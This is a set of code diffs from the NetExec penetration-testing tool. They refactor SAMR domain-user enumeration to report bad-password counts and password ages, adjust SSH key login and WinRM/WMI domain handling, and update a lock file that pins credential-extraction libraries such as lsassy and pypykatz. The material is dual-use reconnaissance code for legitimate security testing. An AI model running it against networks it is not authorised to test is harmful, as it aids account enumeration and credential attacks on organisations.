[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -205,7 +205,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+1 -1
View File
@@ -38,7 +38,7 @@ def proto_args(parser, std_parser, module_parser):
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
egroup.add_argument("--users", nargs="?", const="", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
+93 -43
View File
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
from impacket.nt_errors import STATUS_MORE_ENTRIES
from datetime import datetime, timedelta
class UserSamrDump:
@@ -26,6 +27,8 @@ class UserSamrDump:
self.doKerberos = connection.kerberos
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
self.users = []
self.rpc_transport = None
self.dce = None
if self.hash is not None:
if self.hash.find(":") != -1:
@@ -36,46 +39,37 @@ class UserSamrDump:
if self.password is None:
self.password = ""
def dump(self):
def dump(self, requested_users=None):
# Try all requested protocols until one works.
for protocol in self.protocols:
try:
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
except KeyError:
self.logger.debug(f"Invalid Protocol '{protocol}'")
self.logger.debug(f"Invalid Protocol: {protocol}")
self.logger.debug(f"Trying protocol {protocol}")
rpctransport = transport.SMBTransport(
self.addr,
port,
r"\samr",
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
doKerberos=self.doKerberos,
)
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos)
try:
self.fetchList(rpctransport)
self.fetch_users(requested_users)
break
except Exception as e:
self.logger.debug(f"Protocol failed: {e}")
self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
return self.users
def fetchList(self, rpctransport):
dce = DCERPC_v5(rpctransport)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
def fetch_users(self, requested_users):
self.dce = DCERPC_v5(self.rpc_transport)
self.dce.connect()
self.dce.bind(samr.MSRPC_UUID_SAMR)
# Setup Connection
resp = samr.hSamrConnect2(dce)
resp = samr.hSamrConnect2(self.dce)
if resp["ErrorCode"] != 0:
raise Exception("Connect error")
resp2 = samr.hSamrEnumerateDomainsInSamServer(
dce,
self.dce,
serverHandle=resp["ServerHandle"],
enumerationContext=0,
preferedMaximumLength=500,
@@ -84,7 +78,7 @@ class UserSamrDump:
raise Exception("Connect error")
resp3 = samr.hSamrLookupDomainInSamServer(
dce,
self.dce,
serverHandle=resp["ServerHandle"],
name=resp2["Buffer"]["Buffer"][0]["Name"],
)
@@ -92,7 +86,7 @@ class UserSamrDump:
raise Exception("Connect error")
resp4 = samr.hSamrOpenDomain(
dce,
self.dce,
serverHandle=resp["ServerHandle"],
desiredAccess=samr.MAXIMUM_ALLOWED,
domainId=resp3["DomainId"],
@@ -101,28 +95,84 @@ class UserSamrDump:
raise Exception("Connect error")
self.__domains = resp2["Buffer"]["Buffer"]
domainHandle = resp4["DomainHandle"]
domain_handle = resp4["DomainHandle"]
# End Setup
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
if requested_users:
self.logger.debug(f"Looping through users requested and looking up their information: {requested_users}")
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext)
names_lookup_resp = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, requested_users)
rids = [r["Data"] for r in names_lookup_resp["RelativeIds"]["Element"]]
self.logger.debug(f"Specific RIDs retrieved: {rids}")
users = self.get_user_info(domain_handle, rids)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
self.logger.fail("Error enumerating domain user(s)")
break
resp = e.get_packet()
self.logger.success("Enumerated domain user(s)")
for user in resp["Buffer"]["Buffer"]:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
info_user = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["AdminComment"]
self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user}")
self.users.append(user["Name"])
samr.hSamrCloseHandle(dce, r["UserHandle"])
self.logger.debug(f"Exception while requesting users in domain: {e}")
if "STATUS_SOME_NOT_MAPPED" in str(e):
# which user is not translated correctly isn't returned so we can't tell the user which is failing, which is very annoying
self.logger.fail("One of the users requested does not exist in the domain, causing a critical failure during translation, re-check the users and try again")
else:
self.logger.fail(f"Error occurred when looking up users in domain: {e}")
else:
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
enumerate_users_resp = samr.hSamrEnumerateUsersInDomain(self.dce, domain_handle, enumerationContext=enumerationContext)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
self.logger.fail("Error enumerating domain user(s)")
break
enumerate_users_resp = e.get_packet()
enumerationContext = resp["EnumerationContext"]
status = resp["ErrorCode"]
rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]]
self.logger.debug(f"Full domain RIDs retrieved: {rids}")
users = self.get_user_info(domain_handle, rids)
dce.disconnect()
# set these for the while loop
enumerationContext = enumerate_users_resp["EnumerationContext"]
status = enumerate_users_resp["ErrorCode"]
self.print_user_info(users)
self.dce.disconnect()
def get_user_info(self, domain_handle, user_ids):
self.logger.debug(f"Getting user info for users: {user_ids}")
users = []
for user in user_ids:
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
open_user_resp = samr.hSamrOpenUser(
self.dce,
domain_handle,
samr.MAXIMUM_ALLOWED,
user
)
info_user_resp = samr.hSamrQueryInformationUser2(
self.dce,
open_user_resp["UserHandle"],
samr.USER_INFORMATION_CLASS.UserAllInformation
)["Buffer"]
user_info = info_user_resp["All"]
user_name = user_info["UserName"]
bad_pwd_count = user_info["BadPasswordCount"]
user_description = user_info["AdminComment"]
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
if last_pw_set == "1601-01-01 00:00:00":
last_pw_set = "<never>"
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
return users
def print_user_info(self, users):
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
self.logger.debug(f"Full user info: {user}")
self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
def old_large_int_to_datetime(large_int):
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
timestamp_seconds = combined / 10**7
start_date = datetime(1601, 1, 1)
return (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
+7 -17
View File
@@ -4,7 +4,6 @@ import uuid
import logging
import time
from io import StringIO
from nxc.config import process_secret
from nxc.connection import connection, highlight
from nxc.logger import NXCAdapter
@@ -182,26 +181,20 @@ class ssh(connection):
self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
return
def plaintext_login(self, username, password, private_key=None):
def plaintext_login(self, username, password, private_key=""):
self.username = username
self.password = password
private_key = ""
stdout = None
try:
if self.args.key_file or private_key:
self.logger.debug("Logging in with key")
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
if self.args.key_file:
with open(self.args.key_file) as f:
private_key = f.read()
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
self.conn.connect(
self.host,
port=self.port,
username=username,
passphrase=password if password != "" else None,
pkey=pkey,
key_filename=private_key if private_key else self.args.key_file,
look_for_keys=False,
allow_agent=False,
)
@@ -228,13 +221,10 @@ class ssh(connection):
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
_, stdout, _ = self.conn.exec_command("id")
stdout = stdout.read().decode(self.args.codec, errors="ignore")
except SSHException as e:
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
except Exception as e:
if self.args.key_file:
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
if "OpenSSH private key file checkints do not match" in str(e):
self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
else:
self.logger.fail(f"{username}:{password} {e}")
self.logger.fail(f"{username}:{process_secret(password)} {e}")
self.conn.close()
return False
else:
@@ -287,7 +277,7 @@ class ssh(connection):
self.server_os_platform,
"- Shell access!" if shell_access else ""
)
self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
return True
+3 -3
View File
@@ -2,7 +2,7 @@ from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, func, delete
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -99,7 +99,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -111,7 +111,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+3 -3
View File
@@ -1,7 +1,7 @@
from pathlib import Path
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -62,7 +62,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -74,7 +74,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+7 -12
View File
@@ -25,7 +25,8 @@ urllib3.disable_warnings()
class winrm(connection):
def __init__(self, args, db, host):
self.domain = None
self.domain = ""
self.targedDomain = ""
self.server_os = None
self.output_filename = None
self.endpoint = None
@@ -52,30 +53,24 @@ class winrm(connection):
def enum_host_info(self):
ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
self.domain = ntlm_info["domain"]
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
if self.domain is None:
self.domain = ""
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
def print_host_info(self):
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
self.logger.extra["port"] = self.port
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@@ -167,7 +162,7 @@ class winrm(connection):
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
except Exception as e:
@@ -210,7 +205,7 @@ class winrm(connection):
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
+3 -3
View File
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, func, delete
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -82,7 +82,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -94,7 +94,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+4 -3
View File
@@ -24,7 +24,8 @@ MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.
class wmi(connection):
def __init__(self, args, db, host):
self.domain = None
self.domain = ""
self.targetDomain = ""
self.hash = ""
self.lmhash = ""
self.nthash = ""
@@ -122,7 +123,7 @@ class wmi(connection):
response = MSRPCHeader(buffer)
bindResp = MSRPCBindAck(response.getData())
ntlm_info = parse_challenge(bindResp["auth_data"])
self.domain = ntlm_info["domain"]
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
@@ -139,7 +140,7 @@ class wmi(connection):
def print_host_info(self):
self.logger.extra["protocol"] = "RPC"
self.logger.extra["port"] = "135"
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
def check_if_admin(self):
+3 -3
View File
@@ -2,7 +2,7 @@ from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -54,7 +54,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -66,7 +66,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
Generated
+168 -135
View File
@@ -1,4 +1,4 @@
# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand.
# This file is automatically @generated by Poetry 1.8.2 and should not be changed by hand.
[[package]]
name = "aardwolf"
@@ -59,42 +59,41 @@ files = [
[[package]]
name = "aiosmb"
version = "0.4.10"
version = "0.4.4"
description = "Asynchronous SMB protocol implementation"
optional = false
python-versions = ">=3.7"
files = [
{file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"},
{file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"},
{file = "aiosmb-0.4.4-py3-none-any.whl", hash = "sha256:ed70967243ec6634ac443de4e048c666f372ec863e49e8a2c1e01d640989f95e"},
{file = "aiosmb-0.4.4.tar.gz", hash = "sha256:20620498cf5e6794fea29ddcb46afbda8cbf714e3cf8e1da149699f03453637f"},
]
[package.dependencies]
asn1crypto = "*"
asyauth = ">=0.0.16"
asysocks = ">=0.2.9"
asyauth = ">=0.0.8"
asysocks = ">=0.2.2"
colorama = "*"
cryptography = "*"
minikerberos = ">=0.3.5"
prompt-toolkit = ">=3.0.2"
six = "*"
tqdm = "*"
unicrypto = ">=0.0.10"
unicrypto = ">=0.0.9"
wcwidth = "*"
winacl = ">=0.1.8"
winacl = ">=0.1.5"
[[package]]
name = "aiosqlite"
version = "0.19.0"
version = "0.17.0"
description = "asyncio bridge to the standard sqlite3 module"
optional = false
python-versions = ">=3.7"
python-versions = ">=3.6"
files = [
{file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"},
{file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"},
{file = "aiosqlite-0.17.0-py3-none-any.whl", hash = "sha256:6c49dc6d3405929b1d08eeccc72306d3677503cc5e5e43771efc1e00232e8231"},
{file = "aiosqlite-0.17.0.tar.gz", hash = "sha256:f0e6acc24bc4864149267ac82fb46dfb3be4455f99fe21df82609cc6e6baee51"},
]
[package.extras]
dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"]
docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"]
[package.dependencies]
typing_extensions = ">=3.7.2"
[[package]]
name = "aiowinreg"
@@ -189,13 +188,13 @@ shell = ["prompt_toolkit"]
[[package]]
name = "asyauth"
version = "0.0.18"
version = "0.0.20"
description = "Unified authentication library"
optional = false
python-versions = ">=3.7"
files = [
{file = "asyauth-0.0.18-py3-none-any.whl", hash = "sha256:1fff4333d5db8c6c4a897efdf5e95a41a44cd257638d8296003f1a7a4a9e95a1"},
{file = "asyauth-0.0.18.tar.gz", hash = "sha256:b7602894fd0667cf1bd3e16a1d71c83f557a4c857ad41bddf30557a59665b4ad"},
{file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"},
{file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"},
]
[package.dependencies]
@@ -634,13 +633,13 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"]
[[package]]
name = "dploot"
version = "2.2.4"
version = "2.7.1"
description = "DPAPI looting remotely in Python"
optional = false
python-versions = ">=3.7,<4.0"
python-versions = "<4.0,>=3.7"
files = [
{file = "dploot-2.2.4-py3-none-any.whl", hash = "sha256:a70c8280972a1fb7150093560093e46a9bb5936396f563ae9050a20dcf1ad96e"},
{file = "dploot-2.2.4.tar.gz", hash = "sha256:e34ff928e94416f3cbf688427d1de4aa88a4a4a15f24edb6313a2adc685a98a3"},
{file = "dploot-2.7.1-py3-none-any.whl", hash = "sha256:4d557a88c4fd6f6a53f45333ccb853e4125f0bf101d5336937ac1f6c0afb7171"},
{file = "dploot-2.7.1.tar.gz", hash = "sha256:bcd2f9c6b6647d83b5d62f0446a0fdeb7eefacc6f71a49a8dd18ef43538d5db6"},
]
[package.dependencies]
@@ -659,6 +658,20 @@ files = [
{file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"},
]
[[package]]
name = "dunamai"
version = "1.19.2"
description = "Dynamic version generation"
optional = false
python-versions = ">=3.5"
files = [
{file = "dunamai-1.19.2-py3-none-any.whl", hash = "sha256:bc126b17571a44d68ed826cec596e0f61dc01edca8b21486f70014936a5d44f2"},
{file = "dunamai-1.19.2.tar.gz", hash = "sha256:3be4049890763e19b8df1d52960dbea60b3e263eb0c96144a677ae0633734d2e"},
]
[package.dependencies]
packaging = ">=20.9"
[[package]]
name = "exceptiongroup"
version = "1.2.0"
@@ -817,7 +830,7 @@ files = [
[[package]]
name = "impacket"
version = "0.12.0.dev1+20240215.65950.da6f5255"
version = "0.12.0.dev1+20240327.181547.f8899e65"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -826,11 +839,11 @@ develop = false
[package.dependencies]
charset_normalizer = "*"
dsinternals = "*"
flask = ">=1.0"
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
ldapdomaindump = ">=0.9.0"
pyasn1 = ">=0.2.3"
pyasn1_modules = "*"
pycryptodomex = "*"
pyOpenSSL = ">=21.0.0"
setuptools = "*"
@@ -838,9 +851,9 @@ six = "*"
[package.source]
type = "git"
url = "https://github.com/Pennyw0rth/impacket.git"
reference = "gkdi"
resolved_reference = "da6f52552b7d15f177587d902b3405e0aa07f22e"
url = "https://github.com/fortra/impacket.git"
reference = "HEAD"
resolved_reference = "f8899e65f16c50b871863528d419cfb701a5a3e3"
[[package]]
name = "importlib-metadata"
@@ -933,13 +946,13 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
[[package]]
name = "lsassy"
version = "3.1.9"
version = "3.1.10"
description = "Python library to extract credentials from lsass remotely"
optional = false
python-versions = ">=3.6"
files = [
{file = "lsassy-3.1.9-py3-none-any.whl", hash = "sha256:8497168efe43147d639671c5ea3d4b04b7d8c4336f77286b767fca0edca6c830"},
{file = "lsassy-3.1.9.tar.gz", hash = "sha256:75d7038915dea31b6380488befedb4081e1fdade9a68d6f7cb5b4cf6c93b9970"},
{file = "lsassy-3.1.10-py3-none-any.whl", hash = "sha256:c25bc349f54d10329fae83a65b3c5a679e298883273e319a515916f362068b6c"},
{file = "lsassy-3.1.10.tar.gz", hash = "sha256:748ee7e49f792d4532155f3ef0467fe505e0c32386195c5ae6bcaafa699e28f3"},
]
[package.dependencies]
@@ -1285,13 +1298,13 @@ files = [
[[package]]
name = "msldap"
version = "0.5.9"
version = "0.5.10"
description = "Python library to play with MS LDAP"
optional = false
python-versions = ">=3.7"
files = [
{file = "msldap-0.5.9-py3-none-any.whl", hash = "sha256:26c0418086f788c1197341ee31d4ffbc69c057aef339cd91e882ca7c1fb10fcb"},
{file = "msldap-0.5.9.tar.gz", hash = "sha256:5f3c4e362296e0e1eba447eda9f230988a7b2a08826f7b3ed34ec9612ebcfe33"},
{file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"},
{file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"},
]
[package.dependencies]
@@ -1365,24 +1378,26 @@ files = [
[[package]]
name = "paramiko"
version = "3.4.0"
version = "2.12.0"
description = "SSH2 protocol library"
optional = false
python-versions = ">=3.6"
python-versions = "*"
files = [
{file = "paramiko-3.4.0-py3-none-any.whl", hash = "sha256:43f0b51115a896f9c00f59618023484cb3a14b98bbceab43394a39c6739b7ee7"},
{file = "paramiko-3.4.0.tar.gz", hash = "sha256:aac08f26a31dc4dffd92821527d1682d99d52f9ef6851968114a8728f3c274d3"},
{file = "paramiko-2.12.0-py2.py3-none-any.whl", hash = "sha256:b2df1a6325f6996ef55a8789d0462f5b502ea83b3c990cbb5bbe57345c6812c4"},
{file = "paramiko-2.12.0.tar.gz", hash = "sha256:376885c05c5d6aa6e1f4608aac2a6b5b0548b1add40274477324605903d9cd49"},
]
[package.dependencies]
bcrypt = ">=3.2"
cryptography = ">=3.3"
pynacl = ">=1.5"
bcrypt = ">=3.1.3"
cryptography = ">=2.5"
pynacl = ">=1.0.1"
six = "*"
[package.extras]
all = ["gssapi (>=1.4.1)", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"]
all = ["bcrypt (>=3.1.3)", "gssapi (>=1.4.1)", "invoke (>=1.3)", "pyasn1 (>=0.1.7)", "pynacl (>=1.0.1)", "pywin32 (>=2.1.8)"]
ed25519 = ["bcrypt (>=3.1.3)", "pynacl (>=1.0.1)"]
gssapi = ["gssapi (>=1.4.1)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"]
invoke = ["invoke (>=2.0)"]
invoke = ["invoke (>=1.3)"]
[[package]]
name = "pillow"
@@ -1495,6 +1510,25 @@ files = [
dev = ["pre-commit", "tox"]
testing = ["pytest", "pytest-benchmark"]
[[package]]
name = "poetry-dynamic-versioning"
version = "1.2.0"
description = "Plugin for Poetry to enable dynamic versioning based on VCS tags"
optional = false
python-versions = ">=3.7,<4.0"
files = [
{file = "poetry_dynamic_versioning-1.2.0-py3-none-any.whl", hash = "sha256:8dbef9728d866eb3d1a4edbb29c7ac8abdf96e3ca659473e950e2c016f3785ec"},
{file = "poetry_dynamic_versioning-1.2.0.tar.gz", hash = "sha256:1a7bbdba2530499e73dfc6ac0af19de29020ab4aaa3e507573877114e6b71ed6"},
]
[package.dependencies]
dunamai = ">=1.18.0,<2.0.0"
jinja2 = ">=2.11.1,<4"
tomlkit = ">=0.4"
[package.extras]
plugin = ["poetry (>=1.2.0,<2.0.0)"]
[[package]]
name = "prompt-toolkit"
version = "3.0.43"
@@ -1522,17 +1556,17 @@ files = [
[[package]]
name = "pyasn1-modules"
version = "0.3.0"
description = "A collection of ASN.1-based protocols modules"
version = "0.2.8"
description = "A collection of ASN.1-based protocols modules."
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
python-versions = "*"
files = [
{file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"},
{file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"},
{file = "pyasn1-modules-0.2.8.tar.gz", hash = "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e"},
{file = "pyasn1_modules-0.2.8-py2.py3-none-any.whl", hash = "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74"},
]
[package.dependencies]
pyasn1 = ">=0.4.6,<0.6.0"
pyasn1 = ">=0.4.6,<0.5.0"
[[package]]
name = "pycodestyle"
@@ -1765,25 +1799,25 @@ kerberos = ["pyspnego[kerberos]"]
[[package]]
name = "pypykatz"
version = "0.6.9"
version = "0.6.6"
description = "Python implementation of Mimikatz"
optional = false
python-versions = ">=3.6"
files = [
{file = "pypykatz-0.6.9-py3-none-any.whl", hash = "sha256:ea5f43e0e754aacaa47510003c88bc65be2099b08812390b5a83b01aff61b1df"},
{file = "pypykatz-0.6.9.tar.gz", hash = "sha256:5e78b671823e0724c5483bee5870d4f7b2a58f031edda4fb3fe5488abea4b64b"},
{file = "pypykatz-0.6.6-py3-none-any.whl", hash = "sha256:c2167c06c6e0992b721e5c9e572fc4a847099bca2b179c65d820280cb0d344f9"},
{file = "pypykatz-0.6.6.tar.gz", hash = "sha256:7cf7842937d12f5e36448312431a41c88032d3db179660e32004e291cf3622ec"},
]
[package.dependencies]
aesedb = ">=0.1.4,<=0.2.0"
aiosmb = ">=0.4.8,<=0.5.0"
aiowinreg = ">=0.0.10,<=0.1.0"
minidump = ">=0.0.21,<=0.1.0"
